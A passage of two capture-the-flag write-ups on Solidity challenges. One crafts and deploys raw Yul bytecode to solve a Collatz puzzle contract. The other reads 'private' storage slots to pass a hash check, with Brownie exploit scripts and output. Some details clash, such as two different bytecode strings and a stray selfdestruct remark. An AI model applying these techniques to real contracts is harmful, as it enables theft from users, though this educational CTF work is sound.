02 MUL 5 a, b a * b (u)int256 multiplication modulo 2**256
04 DIV 5 a, b a // b uint256 division
06 MOD 5 a, b a % b uint256 modulus
15 ISZERO 3 a a == 0 (u)int256 iszero
35 CALLDATALOAD 3 idx msg.data[idx:idx+32] read word from msg data at index idx
52 MSTORE 3* ost, val . mem[ost:ost+32] := val write a word to memory
F3 RETURN 0* ost, len . return mem[ost:ost+len-1]

All of those opcodes will be enough for us to build our YUL code. Our algorithm is take a parameter n. return n/2 if n is even, return 3n+1 if n is odd So if x is our parameter, our algorithm will be like this

            let res := add(mul(x,3),1)
if iszero(mod(x, 2)) {
res := div(x, 2)
}

like python:

res = 3*x+1
if x % 2 == 0:
res = x/2

That algorithm should be fine. We just need to take the given parameter and assign it to x and then we need to return x. For example from evm playground it can be seen that

            function returnUint(v) {
mstore(0, v)
return(0, 0x20)
}

To return value x, we first store it and then return that offset. The mstore instruction takes two arguments: the first argument is the address in memory where the value should be stored, and the second argument is the value to be stored. The value is stored in a 256-bit word in memory. So if I write mstore(0, res) it stores the value of res in memory at address 0. If I replace with 0x20 then the value of res will be stored at address 0x20 instead of 0. So we can use the address we want. For the return part we can write

            let res := add(mul(x,3),1)
if iszero(mod(x, 2)) {
res := div(x, 2)
}
mstore(0x20, res)
return(0x20, 0x20)

And the second 0x20 in return specifies the length of res variable. Since its uint256 it is 32 bytes which is 0x20. We just need to get given parameter and assign it to x. calldataload instruction takes an offset as an argument and returns the value stored at that address. The first 4 bytes are special bytes for the function signature so if we take offset 0x4 we will be able to get our uint256 parameter. So the final code will be like this.

object "Attack" {
code {
datacopy(0, dataoffset("runtime"), datasize("runtime"))
return(0, datasize("runtime"))
}
object "runtime" {
code {
let x := calldataload(0x4)
let res := add(mul(x,3),1)
if iszero(mod(x, 2)) {
res := div(x, 2)
}
mstore(0x0, res)
return(0x0, 0x20)
}
}
}

POC

We can compile our yul contract with solc compiler.

> solc --strict-assembly .\collatz-puzzle\contracts\test.yul

======= collatz-puzzle/contracts/test.yul (EVM) =======

Pretty printed source:
object "Attack" {
code {
datacopy(0, dataoffset("runtime"), datasize("runtime"))
return(0, datasize("runtime"))
}
object "runtime" {
code {
let x := calldataload(0x4)
let res := add(mul(x, 3), 1)
if iszero(mod(x, 2)) { res := div(x, 2) }
mstore(0x20, res)
return(0x20, 0x20)
}
}
}


Binary representation:
6020600d60003960206000f3fe60043560016003820201600282066017576002820490505b80602052602080f3

So our binary representation is 6021600d60003960216000f3fe60043560016003820201600282066017576002820490505b8060005260206000f3 We can deploy this bytecode with the help of create function.

Solidity Attack Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


contract Attack {
uint256 public global_size;
address public global_addr;

function deploy(bytes memory given_code) external returns(uint){
bytes memory code = given_code;
address addr;
uint size;
assembly{
addr := create(0, add(code, 0x20), mload(code))
size := extcodesize(addr)
}
global_addr = addr;
global_size = size;
}
}

Python Exploit Function

from brownie import *
from scripts.setup_general import console

def exploit():
admin = accounts[0]
attacker = accounts[1]
collatz = CollatzPuzzle.deploy({'from': admin})
attack_contract = Attack.deploy({'from': attacker})
new_data = bytes.fromhex('6020600d60003960206000f3fe60043560016003820201600282066017576002820490505b80602052602080f3')
console.yellow("Creating attack contract with compiled YUL binary code.")
attack_contract.deploy(new_data)
assert attack_contract.global_size() == 32

console.yellow("Calling -> collatz.callMe(attack_contract.global_addr(), {'from': attacker})")
val = collatz.callMe(attack_contract.global_addr(), {'from': attacker})
assert val == True

console.green("Return value of callMe: "+ str(val))

And the output is

>>> run('poc', 'exploit')

Running 'scripts\poc.py::exploit'...
Transaction sent: 0xf7b7a3ee3c3fa60d6cdc3db31b8f67f273ef3e3107978094854e0f100e2950f0
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 1
CollatzPuzzle.constructor confirmed Block: 4 Gas used: 243464 (2.03%)
CollatzPuzzle deployed at: 0x602C71e4DAC47a042Ee7f46E0aee17F94A3bA0B6

Transaction sent: 0x85b134eed594d6732e59b2324b2763f48ab27bbdc304101ca48d2c8107aa94ac
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 2
Attack.constructor confirmed Block: 5 Gas used: 289251 (2.41%)
Attack deployed at: 0xE92E591c9661fe380Bb0949D22d27432E9f5b7F6

- Creating attack contract with compiled YUL binary code.
Transaction sent: 0x1d39355b9959a7a1a4f1d3a08ec6213e84d26def90573a642ca97382d43bba97
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 3
Attack.deploy confirmed Block: 6 Gas used: 102772 (0.86%)

+ Calling -> collatz.callMe(attack_contract.global_addr(), {'from': attacker})
+ Return value of callMe: True

· 2 min read
Kaan Caglan

Confidential Hash is a Solidity CTF challenge from QuillCTF.

Solution

In this contract, there is only 1 solidity file. Confidential.sol. Contract is deployed on goerli test network.

Etherscan URL

To connect with this contract we can run brownie console with goerli network

kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli

Objective of CTF is

Find the keccak256 hash of aliceHash and bobHash. 

What we need to do to solve the question is simple, we just need to find keccak256 hash of aliceHash and bobHash and make return value of checkthehash function true.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

contract Confidential {
string public firstUser = "ALICE";
uint public alice_age = 24;
bytes32 private ALICE_PRIVATE_KEY; //Super Secret Key
bytes32 public ALICE_DATA = "QWxpY2UK";
bytes32 private aliceHash = hash(ALICE_PRIVATE_KEY, ALICE_DATA);

string public secondUser = "BOB";
uint public bob_age = 21;
bytes32 private BOB_PRIVATE_KEY; // Super Secret Key
bytes32 public BOB_DATA = "Qm9iCg";
bytes32 private bobHash = hash(BOB_PRIVATE_KEY, BOB_DATA);

constructor() {}

function hash(bytes32 key1, bytes32 key2) public pure returns (bytes32) {
return keccak256(abi.encodePacked(key1, key2));
}

function checkthehash(bytes32 _hash) public view returns(bool){
require (_hash == hash(aliceHash, bobHash));
return true;
}
}

There are 10 state variables in the contract. Few of them's visibility is private. However in blockchain nothing can be private. We can access all of those data from storage.

Layout of State Variables in Storage.

First element is already public but we can access to that variable with getStorageAt function

>>> web3.eth.getStorageAt(t.address, 0).strip()
b'ALICE\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

For strings and bytes official document says

However, for short values (shorter than 32 bytes) the array elements are stored together with the length in the same slot.

So if we take a look, all of the fields will fit in the one unique block. So if we get storage index at 4 we will get aliceHash and if we check index at 9, we will get bobHash.

POC

First, we need a smart contract with selfdestruct feature in it.

#https://goerli.etherscan.io/address/0xf8e9327e38ceb39b1ec3d26f5fad09e426888e66
from brownie import *
from scripts.setup_general import console


def exploit():
contr = Confidential.at('0xf8E9327E38Ceb39B1Ec3D26F5Fad09E426888E66')
aliceHash = web3.eth.getStorageAt(contr.address, 4)
bobHash = web3.eth.getStorageAt(contr.address, 9)
console.yellow("Alice hash: " + str(aliceHash))
console.yellow("Bob hash: " + str(bobHash))

combineHash = contr.hash(aliceHash, bobHash)
console.green("Return value of checkthehash: " + str(contr.checkthehash(combineHash)))

And the output is

>>> run('poc', 'exploit')

Running 'scripts/poc.py::exploit'...
Alice hash: b'D\x8e]\xf1\xa6\x90\x8f\x8d\x17\xfa\xe94\xd9\xae?\x0ccTR5\xf8\xff9<gw\x19L\xae(\x14x'
Bob hash: b'\x98)\x0e\x06\xbe\xe0\rko4\tZT\xc4\x08r\x97\xe3(]E{\x14\x01(\xc1\xc2\xf3\xb6*A\xbd'
+ Return value of checkthehash: True